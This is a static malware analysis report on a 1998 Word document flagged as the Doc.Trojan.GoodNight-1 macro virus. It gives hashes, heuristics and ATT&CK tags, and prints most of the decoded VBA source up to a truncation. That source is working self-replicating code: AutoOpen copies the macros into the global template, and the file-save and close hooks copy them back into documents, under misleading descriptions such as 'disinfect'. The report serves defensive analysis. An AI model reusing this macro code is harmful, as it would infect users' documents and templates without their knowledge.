Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 35ce4566c603822f…

MALICIOUS

Office (OLE)

56.0 KB Created: 1998-03-16 10:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6f8adc9d66e2e6c071f0f475957d7be6 SHA-1: 359652144cc7d719edbfa46456448cc5640d95a6 SHA-256: 35ce4566c603822f43b2a4ac7034802b06a4005fe318561ef845e9bb18d5bacc
260 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a legacy Word document containing VBA macros, including an AutoOpen macro. Heuristics indicate a lure to enable macros and ClamAV detections confirm it is malicious. The AutoOpen macro attempts to copy itself and other macros to the global template, likely to establish persistence or ensure execution of further malicious actions.

Heuristics 6

  • ClamAV: Doc.Trojan.GoodNight-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.GoodNight-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7698 bytes
SHA-256: 2821c925383c105e03f290ad9d2c9bf2aa5c19544decf5959b79a5f59c8c4aec
Detection
ClamAV: Doc.Trojan.GoodNight-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Checks Page Size; if not default Page Size, converts document to default Page Size.  FWTMPv7.0"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim DocName$


On Error GoTo -1: On Error GoTo skip
DocName$ = WordBasic.[FileName$]()
WordBasic.MacroCopy DocName$ + ":AutoExec", "Global:AutoExec"
WordBasic.MacroCopy DocName$ + ":AutoExit", "Global:AutoExit"
WordBasic.MacroCopy DocName$ + ":AutoClose", "Global:AutoClose"
WordBasic.MacroCopy DocName$ + ":FileClose", "Global:FileClose"
WordBasic.MacroCopy DocName$ + ":FileCloseAll", "Global:FileCloseAll"
WordBasic.MacroCopy DocName$ + ":FileSave", "Global:FileSave"
WordBasic.MacroCopy DocName$ + ":FileSaveAs", "Global:FileSaveAs"
WordBasic.MacroCopy DocName$ + ":FileOpen", "Global:FileOpen"
WordBasic.MacroCopy DocName$ + ":AutoOpen", "Global:AutoOpen"
WordBasic.MacroCopy DocName$ + ":Exit", "Global:Exit"

skip:

End Sub

Attribute VB_Name = "AutoExec"

Public Sub MAIN()
Attribute MAIN.VB_Description = "kinko's KHQ mesage:\r""AutoMacros are now turned off!"""
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoExec.MAIN"
WordBasic.DisableAutoMacros
WordBasic.MsgBox "Auto Macros disabled"
End Sub

Attribute VB_Name = "AutoExit"

Public Sub MAIN()
Attribute MAIN.VB_Description = "ScanProt macro to protect and disinfect your Normal (Global) template."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoExit.MAIN"
Dim DocName$


On Error GoTo -1: On Error GoTo bail
DocName$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoExec", DocName$ + ":AutoExec"
WordBasic.MacroCopy "Global:AutoExit", DocName$ + ":AutoExit"
WordBasic.MacroCopy "Global:AutoClose", DocName$ + ":AutoClose"
WordBasic.MacroCopy "Global:FileClose", DocName$ + ":FileClose"
WordBasic.MacroCopy "Global:FileCloseAll", DocName$ + ":FileCloseAll"
WordBasic.MacroCopy "Global:FileSave", DocName$ + ":FileSave"
WordBasic.MacroCopy "Global:FileOpen", DocName$ + ":FileOpen"
WordBasic.MacroCopy "Global:AutoOpen", DocName$ + ":AutoOpen"
WordBasic.MacroCopy "Global:Exit", DocName$ + ":Exit"
bail:

End Sub

Attribute VB_Name = "FileClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Closes all of the windows of the active document"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileClose.MAIN"
Dim DocName$


On Error GoTo -1: On Error GoTo bail
DocName$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoExec", DocName$ + ":AutoExec"
WordBasic.MacroCopy "Global:AutoExit", DocName$ + ":AutoExit"
WordBasic.MacroCopy "Global:AutoClose", DocName$ + ":AutoClose"
WordBasic.MacroCopy "Global:FileClose", DocName$ + ":FileClose"
WordBasic.MacroCopy "Global:FileCloseAll", DocName$ + ":FileCloseAll"
WordBasic.MacroCopy "Global:FileSave", DocName$ + ":FileSave"
WordBasic.MacroCopy "Global:FileOpen", DocName$ + ":FileOpen"
WordBasic.MacroCopy "Global:AutoOpen", DocName$ + ":AutoOpen"
WordBasic.MacroCopy "Global:Exit", DocName$ + ":Exit"
bail:

WordBasic.FileClose
End Sub

Attribute VB_Name = "FileCloseAll"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Closes all of the windows of all documents"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileCloseAll.MAIN"
Dim DocName$


On Error GoTo -1: On Error GoTo bail
DocName$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoExec", DocName$ + ":AutoExec"
WordBasic.MacroCopy "Global:AutoExit", DocName$ + ":AutoExit"
WordBasic.MacroCopy "Global:AutoClose", DocName$ + ":AutoClose"
WordBasic.MacroCopy "Global:FileClose", DocName$ + ":FileClose"
WordBasic.MacroCopy
... (truncated)

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